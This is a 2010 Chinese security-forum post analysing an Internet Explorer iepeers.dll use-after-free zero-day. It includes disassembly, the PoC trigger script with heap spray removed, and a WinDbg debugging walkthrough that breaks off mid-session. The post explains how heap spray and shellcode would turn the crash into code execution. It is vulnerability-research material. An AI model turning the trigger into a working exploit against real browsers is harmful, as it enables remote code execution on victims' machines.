首页
论坛
专栏
课程

[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码

2010-3-12 08:33 25898

[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码

2010-3-12 08:33
25898
Microsoft安全预警页面:http://www.microsoft.com/technet/security/advisory/981374.mspx
PoC来源:http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/

调试环境:IE7(可能不是最全补丁版本),XP sp3 简体中文版,对上面链接取得的PoC,我连Heap Spray部分都去掉了,只分析内存是怎么被破坏的,我用的PoC内容在附件。

iepeers.dll中的CPersistUserData::setAttribute对VT_DISPATCH类型的Variant变量进行转化的过程中的处理失误导致内存破坏,有可能导致远程执行任意代码。

1. 网页COmWindowProxy对象通过mshtml!COmWindowProxy::GetSecurityThunk方法调用mshtml!CreateTearOffThunk为自己创建相应的TearoffThunk类结构。

.text:3E51A766 53 push ebx ; int
.text:3E51A767 68 30 59 5B 3E push offset _GUID const * const * const g_apIID_IDispatchEx ; int
.text:3E51A76C 6A 07 push 7 ; int
.text:3E51A76E FF 30 push dword ptr [eax] ; int
.text:3E51A770 50 push eax ; int
.text:3E51A771 57 push edi ; int
.text:3E51A772 53 push ebx ; int
.text:3E51A773 68 DC 2F 5B 3E push offset long (CVoid::*const * const COmWindowProxy::s_apfnIDispatchEx)(void) ; int
.text:3E51A778 56 push esi ; int
.text:3E51A779 E8 4B 85 09 00 call CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)


2. 当对TearoffThunk类结构调用jscript!IDispatchExGetDispID时,后者通过TearoffThunk类结构调用mshtml!TearoffThunk7,使其跳到mshtml!COmWindowProxy::subGetDispID。


.text:75BE302B
.text:75BE302B long __stdcall IDispatchExGetDispID(class CSession *, struct IDispatchEx *, unsigned short *, unsigned long, long *) proc near
.text:75BE302B ; CODE XREF: GetDex2DispID(CSession *,IDispatchEx *,SYM *,long *,ulong)+30p
.text:75BE302B
.text:75BE302B var_C = dword ptr -0Ch
.text:75BE302B Session = dword ptr 8
.text:75BE302B Dispatch = dword ptr 0Ch
.text:75BE302B arg_8 = dword ptr 10h
.text:75BE302B arg_C = dword ptr 14h
.text:75BE302B arg_10 = dword ptr 18h
.text:75BE302B
.text:75BE302B ; FUNCTION CHUNK AT .text:75BFFC54 SIZE 00000016 BYTES
.text:75BE302B
.text:75BE302B mov edi, edi
.text:75BE302D push ebp
.text:75BE302E mov ebp, esp
.text:75BE3030 sub esp, 0Ch
.text:75BE3033 push esi
.text:75BE3034 push 0
.text:75BE3036 lea ecx, [ebp+var_C]
.text:75BE3039 call TLS_NoDestructor::TLS_NoDestructor(COleScript *)
.text:75BE3039
.text:75BE303E mov eax, [ebp+Session]
.text:75BE3041 test eax, eax
.text:75BE3043 jz short loc_75BE3055
.text:75BE3043
.text:75BE3045 test dword ptr [eax+224h], 80000000h
.text:75BE304F jnz loc_75BFFC54
.text:75BE304F
.text:75BE3055
.text:75BE3055 loc_75BE3055: ; CODE XREF: IDispatchExGetDispID(CSession *,IDispatchEx *,ushort *,ulong,long *)+18j
.text:75BE3055 push [ebp+arg_10]
.text:75BE3058 mov eax, [ebp+Dispatch] ; pointer of TearoffThunk structure
.text:75BE305B push [ebp+arg_C]
.text:75BE305E mov ecx, [eax]
.text:75BE3060 push [ebp+arg_8]
.text:75BE3063 push eax
.text:75BE3064 call dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
.text:75BE3064
.text:75BE3067


3. PoC中的网页脚本,在button标签的onClick事件中,采用如下语句将一个新的body标签与UserData绑定:
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior("#default#userData");
document.appendChild(sdfsfsdf);


4. 之后脚本循环调用body标签的setAttribute方法:
try
{
for (i=0;i<10;i++)
{
sdfsfsdf.setAttribute('s',window);
}
}
catch(e){}


5. 上面的脚本调用导致iepeers.dll中的CPersistUserData::setAttribute被调用。
对于VT_DISPATCH类的源Variant变量,该函数没有做特别处理,包括没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数,就直接调用了OLEAUT32!VariantChangeTypeEx试图将封装了TearoffThunk类的Variant变量(其类型为VT_DISPATCH)强制转换为Locale为美国英语的VT_BSTR类型:
.text:58775272
.text:58775272 ; int __stdcall CPersistUserData__setAttribute(int,int,VARIANTARG pvarSrc)
.text:58775272 public: virtual long __stdcall CPersistUserData::setAttribute(unsigned short *, struct tagVARIANT) proc near
.text:58775272 ; DATA XREF: .text:58762FC4o
.text:58775272
.text:58775272 pvarg = VARIANTARG ptr -10h
.text:58775272 arg_0 = dword ptr 8
.text:58775272 arg_4 = dword ptr 0Ch
.text:58775272 pvarSrc = VARIANTARG ptr 10h
.text:58775272
.text:58775272 8B FF mov edi, edi
.text:58775274 55 push ebp
.text:58775275 8B EC mov ebp, esp
.text:58775277 83 EC 10 sub esp, 10h
.text:5877527A 53 push ebx
.text:5877527B 56 push esi
.text:5877527C 33 F6 xor esi, esi
.text:5877527E 39 75 0C cmp [ebp+arg_4], esi
.text:58775281 57 push edi
.text:58775282 75 0A jnz short loc_5877528E
.text:58775282
.text:58775284 BF 57 00 07 80 mov edi, 80070057h
.text:58775289 E9 C9 00 00 00 jmp loc_58775357
.text:58775289
.text:5877528E ; ---------------------------------------------------------------------------
.text:5877528E
.text:5877528E loc_5877528E: ; CODE XREF: CPersistUserData::setAttribute(ushort *,tagVARIANT)+10j
.text:5877528E 8B 5D 08 mov ebx, [ebp+arg_0]
.text:58775291 56 push esi
.text:58775292 8B CB mov ecx, ebx
.text:58775294 E8 92 0F FF FF call CPersistUserData::initXMLCache(int)
.text:58775294
.text:58775299 8B F8 mov edi, eax
.text:5877529B 3B FE cmp edi, esi
.text:5877529D 0F 85 B4 00 00 00 jnz loc_58775357
.text:5877529D
.text:587752A3 39 73 18 cmp [ebx+18h], esi
.text:587752A6 0F 84 AB 00 00 00 jz loc_58775357
.text:587752A6
.text:587752AC 8B 45 10 mov eax, dword ptr [ebp+pvarSrc.anonymous_0] ; VARIANT.vt(VARTYPE) == VT_DISPATCH
.text:587752AF 66 83 F8 08 cmp ax, VT_BSTR
.text:587752B3 89 75 F0 mov dword ptr [ebp+pvarg.anonymous_0], esi
.text:587752B6 89 75 F4 mov dword ptr [ebp+pvarg.anonymous_0+4], esi
.text:587752B9 89 75 F8 mov dword ptr [ebp+pvarg.anonymous_0+8], esi
.text:587752BC 74 62 jz short loc_58775320
.text:587752BC
.text:587752BE 66 3D 08 40 cmp ax, 4008h
.text:587752C2 74 5C jz short loc_58775320
.text:587752C2
.text:587752C4 66 83 F8 0B cmp ax, VT_BOOL
.text:587752C8 74 24 jz short loc_587752EE
.text:587752C8
.text:587752CA 66 3D 0B 40 cmp ax, 400Bh
.text:587752CE 74 24 jz short loc_587752F4
.text:587752CE
.text:587752D0 6A 08 push VT_BSTR ; vt
.text:587752D2 6A 00 push 0 ; wFlags
.text:587752D4 8D 75 10 lea esi, [ebp+pvarSrc]
.text:587752D7 68 09 04 00 00 push 409h ; lcid
.text:587752DC 8B C6 mov eax, esi
.text:587752DE 50 push eax ; pvarSrc
.text:587752DF 50 push eax ; pvargDest
.text:587752E0 FF 15 58 12 76 58 call ds:VariantChangeTypeEx(x,x,x,x,x)


6. 这里问题出现了,上面对VariantChangeTypeEx的调用可以看到,pvarSrc和pvargDest均指向封装了TearoffThunk类的Variant变量。为了将转换的结果写入pvargDest指向的目标Variant,VariantChangeTypeEx必须对其原内容进行清理,因此它对pvargDest(由于iepeers!CPersistUserData::setAttribute调用时传入的参数问题,这里其实也就是指向源Variant)调用了VariantClear,后者调用mshtml!PlainRelease减少了相应TearoffThunk类的访问计数。(感谢27楼对该处的指正)
.text:770F6B80 loc_770F6B80: ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)-1C5Dj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-131Dj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-12F2j
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-D60j
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-A5Bj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-A06j ...
.text:770F6B80 test ebx, ebx
.text:770F6B82 jl loc_770F643E
.text:770F6B82
.text:770F6B88 mov ax, [ebp+vt]
.text:770F6B8C mov word ptr [ebp+pvarg], ax
.text:770F6B90 mov eax, [ebp+pvargDest]
.text:770F6B93 cmp word ptr [eax], VT_BSTR ; 目标变量的类型是否已转变为VT_BSTR
.text:770F6B97 jnb loc_770F4E04 ; 超过8则跳,这里目标Variant就是源Variant,类型还是VT_DISPATCH(9),跳转实现

.text:770F4E04 loc_770F4E04: ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)+ADj
.text:770F4E04 push eax ; pvarg
.text:770F4E05 call VariantClear(x)

7. 由于以上提到的原因,iepeers!CPersistUserData::setAttribute每被调用一次(也就是那个脚本中的for循环每循环一次),相应TearoffThunk对象的访问计数就会被减少1。多次的循环下来导致了其访问计数被减小为0,从而mshtml!PlainRelease将其内存区域被程序写到mshtml.dll中的一个可用指针
.text:3E5B54C8 loc_3E5B54C8: ; CODE XREF: PlainRelease(TEAROFF_THUNK *)+48Aj
.text:3E5B54C8 56 push esi ; Value
.text:3E5B54C9 8B 35 7C 13 50 3E mov esi, ds:InterlockedExchange(x,x)
.text:3E5B54CF 68 64 9D 80 3E push offset lpMem ; Target
.text:3E5B54D4 FF D6 call esi ; InterlockedExchange(x,x)


8. 之后在CWindow::PrivateQueryInterface对CreateTearoffThunk的调用中,上面那个“可用指针”被其重用。
.text:3E5B55FD ; Attributes: bp-based frame
.text:3E5B55FD
.text:3E5B55FD public: virtual long __stdcall CWindow::PrivateQueryInterface(struct _GUID const &, void * *) proc near
.text:3E5B55FD ; DATA XREF: .text:const CWindow::`vftable'{for `CBase'}o
.text:3E5B55FD
.text:3E5B55FD arg_0 = dword ptr 8
.text:3E5B55FD arg_4 = dword ptr 0Ch
.text:3E5B55FD arg_8 = dword ptr 10h
.text:3E5B55FD
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E51AD5E SIZE 00000030 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6B34 SIZE 00000042 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6BA6 SIZE 00000025 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6BF0 SIZE 00000048 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B8CBE SIZE 0000000D BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5DAD16 SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5EC29C SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E601117 SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E62C921 SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E648C4D SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E667A04 SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E6B6D3B SIZE 0000000D BYTES
.text:3E5B55FD
.text:3E5B55FD 8B FF mov edi, edi
.text:3E5B55FF 55 push ebp
.text:3E5B5600 8B EC mov ebp, esp
.text:3E5B5602 53 push ebx
.text:3E5B5603 8B 5D 10 mov ebx, [ebp+arg_8]
.text:3E5B5606 56 push esi
.text:3E5B5607 8B 75 0C mov esi, [ebp+arg_4]
.text:3E5B560A 33 D2 xor edx, edx
.text:3E5B560C 89 13 mov [ebx], edx
.text:3E5B560E 8B 06 mov eax, [esi]
.text:3E5B5610 B9 11 04 51 30 mov ecx, 30510411h
.text:3E5B5615 3B C1 cmp eax, ecx
.text:3E5B5617 57 push edi
.text:3E5B5618 0F 87 46 01 00 00 ja loc_3E5B5764
.text:3E5B5618
.text:3E5B561E 0F 84 FD 72 07 00 jz loc_3E62C921
.text:3E5B561E
.text:3E5B5624 B9 94 F5 50 30 mov ecx, 3050F594h
.text:3E5B5629 3B C1 cmp eax, ecx
.text:3E5B562B 0F 86 75 15 00 00 jbe loc_3E5B6BA6
.text:3E5B562B
.text:3E5B5631 2D B1 F6 50 30 sub eax, 3050F6B1h
.text:3E5B5636 0F 84 56 E3 0E 00 jz loc_3E6A3992
.text:3E5B5636
.text:3E5B563C 83 E8 1E sub eax, 1Eh
.text:3E5B563F 0F 84 2E E3 0E 00 jz loc_3E6A3973
.text:3E5B563F
.text:3E5B5645 83 E8 0D sub eax, 0Dh
.text:3E5B5648 0F 84 E2 B5 0B 00 jz near ptr loc_3E670C2C+4
.text:3E5B5648
.text:3E5B564E 2D 32 0D 00 00 sub eax, 0D32h
.text:3E5B5653 0F 84 AB 23 0B 00 jz loc_3E667A04
.text:3E5B5653
.text:3E5B5659 48 dec eax
.text:3E5B565A 48 dec eax
.text:3E5B565B 0F 85 BB 15 00 00 jnz loc_3E5B6C1C
.text:3E5B565B
.text:3E5B5661 BF 70 8D 5B 3E mov edi, offset _IID_IHTMLPrivateWindow2
.text:3E5B5661
.text:3E5B5666
.text:3E5B5666 loc_3E5B5666: ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+77329j
.text:3E5B5666 6A 04 push 4
.text:3E5B5668 59 pop ecx
.text:3E5B5669 33 C0 xor eax, eax
.text:3E5B566B F3 A7 repe cmpsd
.text:3E5B566D 0F 85 BB 15 00 00 jnz loc_3E5B6C2E
.text:3E5B566D
.text:3E5B5673 52 push edx
.text:3E5B5674 53 push ebx
.text:3E5B5675 52 push edx
.text:3E5B5676 68 A4 56 5B 3E push offset long (CVoid::*const * const CWindow::s_apfnIHTMLPrivateWindow3)(void)
.text:3E5B5676
.text:3E5B567B
.text:3E5B567B loc_3E5B567B: ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+36CB9j
.text:3E5B567B ; CSecureDispatchProxy::QueryInterface(_GUID const &,void * *)+248Ej
.text:3E5B567B ; _IID_IHTMLPrivateWindow+2Aj
.text:3E5B567B ; CElement::get_nodeType(long *)+130ADj
.text:3E5B567B ; CElement::get_nodeType(long *)+130CCj
.text:3E5B567B ; CElement::get_nodeType(long *)+13141j
.text:3E5B567B FF 75 08 push [ebp+arg_0]
.text:3E5B567E E8 C4 EE FF FF call CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *)
.text:3E5B567E

.text:3E5B2CDF
.text:3E5B2CDF loc_3E5B2CDF: ; CODE XREF: CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)-2DEE5j
.text:3E5B2CDF 8B 3D 7C 13 50 3E mov edi, ds:InterlockedExchange(x,x)
.text:3E5B2CE5 6A 00 push 0 ; Value
.text:3E5B2CE7 68 64 9D 80 3E push offset lpMem ; Target
.text:3E5B2CEC FF D7 call edi ; InterlockedExchange(x,x)
.text:3E5B2CEE 8B F0 mov esi, eax
.text:3E5B2CF0 85 F6 test esi, esi
.text:3E5B2CF2 0F 84 1F 19 00 00 jz loc_3E5B4617
.text:3E5B2CF2

9. 此后脚本执行过程中再次涉及对原TearoffThunk类结构指针调用jscript!IDispatchExGetDispID,这时由于该指针其实已经被重用,原来应该为mshtml!COmWindowProxy::s_apfnIDispatchEx的位置现在已经被mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)代替,导致在mshtml!TearoffThunk7中以下位置原本的代码

.text:3E5B56C0 83 F8 09 cmp eax, 9
.text:3E5B56C3 0F 85 6B 14 00 00 jnz loc_3E5B6B34

被当成函数指针0x0F09F883:
ext:3E5B95D6
.text:3E5B95D6 void __stdcall TearoffThunk7(void) proc near
.text:3E5B95D6 ; DATA XREF: .data:3E80F234o
.text:3E5B95D6 ; .data:3E8131ACo
.text:3E5B95D6
.text:3E5B95D6 arg_0 = dword ptr 4
.text:3E5B95D6
.text:3E5B95D6 ; FUNCTION CHUNK AT .text:3E6B7B0F SIZE 00000008 BYTES
.text:3E5B95D6
.text:3E5B95D6 8B 44 24 04 mov eax, [esp+arg_0]
.text:3E5B95DA 50 push eax
.text:3E5B95DB F7 40 1C 80 00 00 00 test dword ptr [eax+1Ch], 80h
.text:3E5B95E2 0F 85 27 E5 0F 00 jnz loc_3E6B7B0F
.text:3E5B95E2
.text:3E5B95E8
.text:3E5B95E8 loc_3E5B95E8: ; CODE XREF: TearoffThunk7(void)+FE53Cj
.text:3E5B95E8 83 C0 0C add eax, 0Ch
.text:3E5B95EB 8B 08 mov ecx, [eax]
.text:3E5B95ED 89 4C 24 08 mov [esp+4+arg_0], ecx
.text:3E5B95F1 8B 48 04 mov ecx, [eax+4] ; 原为mshtml!COmWindowProxy::s_apfnIDispatchEx,现为mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)
.text:3E5B95F4 8B 49 1C mov ecx, [ecx+1Ch] ; dword ptr [3E5B56C0] == 0x0F09F883
.text:3E5B95F7 58 pop eax
.text:3E5B95F8 C7 40 20 07 00 00 00 mov dword ptr [eax+20h], 7
.text:3E5B95FF FF E1 jmp ecx ; jmp 0x0F09F883,无效内存,抛出异常,或因为被heap spray而跳入shellcode。
.text:3E5B95FF
.text:3E5B95FF void __stdcall TearoffThunk7(void) endp
.text:3E5B95FF

从而导致Jmp 0x0F09F883,一般情况下该处内存无效,因此会抛出Access Violation异常。如果配合Heap Spray用nop+shellcode将该区域覆盖,则将可以操纵EIP指针跳入shellcode之中,从而远程执行代码。

综上,iepeers.dll中的CPersistUserData::setAttribute函数在对VT_DISPATCH类型的Variant变量进行处理时,在没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数的情况下调用OLEAUT32!VariantChangeTypeEx试图将其强制转换为VT_BSTR类型,且对OLEAUT32!VariantChangeTypeEx调用所传入的目的指针和源指针一致,使得VariantChangeTypeEx函数在写入转换结果之前对目的指针(也即源指针)调用了VariantClear(感谢27楼的指正,进一步讨论见29楼),导致相应IDispatch对象的访问计数减1。
PoC网页利用精心构造的脚本多次调用CPersistUserData::setAttribute函数,可以使得与COmWindowProxy对象关联的TearoffThunk对象的访问计数被减为0,从而其所在内存区域在之后被重用于与CWindow对象关联。而当后续操作导致对与COmWindowProxy对象关联的TearoffThunk对象调用了TearoffThunk7函数时,由于其已被修改而导致取到错误的函数指针,从而可以操纵eip跳到某个固定的错误地址(在我的IE版本中该地址为0x0F09F883)。通常这个地址为无效内存,从而引发Access Violation异常(拒绝服务),但通过结合Heap Spray技术有可能使该地址被shellcode所占据,从而导致以浏览器进程的用户权限远程执行任意代码。

[招聘]欢迎市场人员加入看雪学院团队!

上传的附件:
最新回复 (46)
yiyiguxing 1 2010-3-12 08:46
2
0
小聪的动作好快啊,不错不错,顺便问下,那个symbol从哪下的?
轩辕小聪 7 2010-3-12 09:28
3
0
调试方法:
WINDBG载入iexplore.exe,命令行参数为PoC网页路径,第一次停在系统断点,放行之:

(d4.3c8): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffda000 ecx=00000003 edx=00000008 esi=00251f48 edi=00251eb4
eip=7c92120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:000> g

跑起来后IE7会出现为了保护安全性已阻止有关内容执行的条子,这时先在windbg里暂停回到调试器。
在其下位置(jscript!IDispatchExGetDispID中)
.text:75BE3064                 call    dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
下硬件执行断点(这样下断是因为这时jscript.dll还没有加载,不能bp),g执行:

0:012> ba e 1 75be3064
0:012> g

这时可以点击允许相关内容执行,很快断下:

Breakpoint 0 hit
eax=001897e0 ebx=019df8e0 ecx=3e80f218 edx=00000000 esi=00986950 edi=00986950
eip=75be3064 esp=019df81c ebp=019df83c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

记下这个eax=001897e0,即之后内存破坏的位置。
继续单步可以看清楚正常的流程,即分析中的第2点,可以看到正确的流程是跳到mshtml!COmWindowProxy::subGetDispID。

0:005> t
eax=001897ec ebx=019df8e0 ecx=001c98d8 edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f1 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
0:005> t
eax=001897ec ebx=019df8e0 ecx=3e5b2fdc edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f4 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x21:
3e5b95f4 8b491c mov ecx,dword ptr [ecx+1Ch] ds:0023:3e5b2ff8={mshtml!COmWindowProxy::subGetDispID (3e5a830c)}
......
0:005> t
eax=001897e0 ebx=019df8e0 ecx=3e5a830c edx=00000000 esi=00986950 edi=00986950
eip=3e5b95ff esp=019df818 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x2c:
3e5b95ff ffe1 jmp ecx {mshtml!COmWindowProxy::subGetDispID (3e5a830c)}

取消刚刚设的断点,对导致内存破坏的始作俑者iepeers.dll!CPersistUserData::setAttribute下断,运行断下:

0:005> bu iepeers!CPersistUserData::setAttribute
0:005> g
ModLoad: 58760000 58792000 C:\WINDOWS\system32\iepeers.dll
Breakpoint 1 hit
eax=7ffd9000 ebx=58762f98 ecx=58775272 edx=001a8e8a esi=00986310 edi=00000000
eip=58775272 esp=019dc9a8 ebp=019dc9d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
iepeers!CPersistUserData::setAttribute:
58775272 8bff mov edi,edi

单步直接看到对OLEAUT32!VariantChangeTypeEx的调用:

......
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d0 esp=019dc988 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x5e:
587752d0 6a08 push 8
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d2 esp=019dc984 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x60:
587752d2 6a00 push 0
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d4 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x62:
587752d4 8d7510 lea esi,[ebp+10h]
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752d7 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x65:
587752d7 6809040000 push offset <Unloaded_ud.drv>+0x408 (00000409)
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752dc esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6a:
587752dc 8bc6 mov eax,esi
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752de esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6c:
587752de 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752df esp=019dc978 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6d:
587752df 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752e0 esp=019dc974 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6e:
587752e0 ff1558127658 call dword ptr [iepeers!_imp__VariantChangeTypeEx (58761258)] ds:0023:58761258={OLEAUT32!VariantChangeTypeEx (770f6aea)}

单步步进,看到源Variant指针为0x019dc9b4,并从其中取到对应的类指针,正是0x001897e0。

0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=770f6aff esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
OLEAUT32!VariantChangeTypeEx+0x15:
770f6aff 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:019dc978=019dc9b4
......
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=019dc9b4 edi=00000000
eip=770f5786 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xe9:
770f5786 8b7608 mov esi,dword ptr [esi+8] ds:0023:019dc9bc=001897e0

单步步进直到看到对OLEAUT32!ExtractValueProperty的调用,注意其第一个参数(最后push的那个)正是esi=001897e0。

0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f578f esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf2:
770f578f 8d45d0 lea eax,[ebp-30h]
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5792 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf5:
770f5792 50 push eax
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5793 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf6:
770f5793 ff7510 push dword ptr [ebp+10h] ss:0023:019dc97c=00000409
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5796 esp=019dc928 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf9:
770f5796 56 push esi
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5797 esp=019dc924 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xfa:
770f5797 e8b3be0400 call OLEAUT32!ExtractValueProperty (7714164f)

p步过,不要进去OLEAUT32!ExtractValueProperty,跟踪发现它并没有减少访问计数,继续步进直到对OLEAUT32!VariantClear的调用,注意到对OLEAUT32!VariantClear调用传入

的参数即目的Variant指针仍为0x019dc9b4,与源指针一致,这样这个调用导致对相应的对象即0x001897e0指向的TearoffThunk对象的访问计数减1(如果想要深入可以步入其中,

就可以发现把访问计数减1的就是mshtml!PlainRelease):
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b80 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000257
OLEAUT32!VariantChangeTypeEx+0x1001:
770f6b80 85db test ebx,ebx
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b82 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1003:
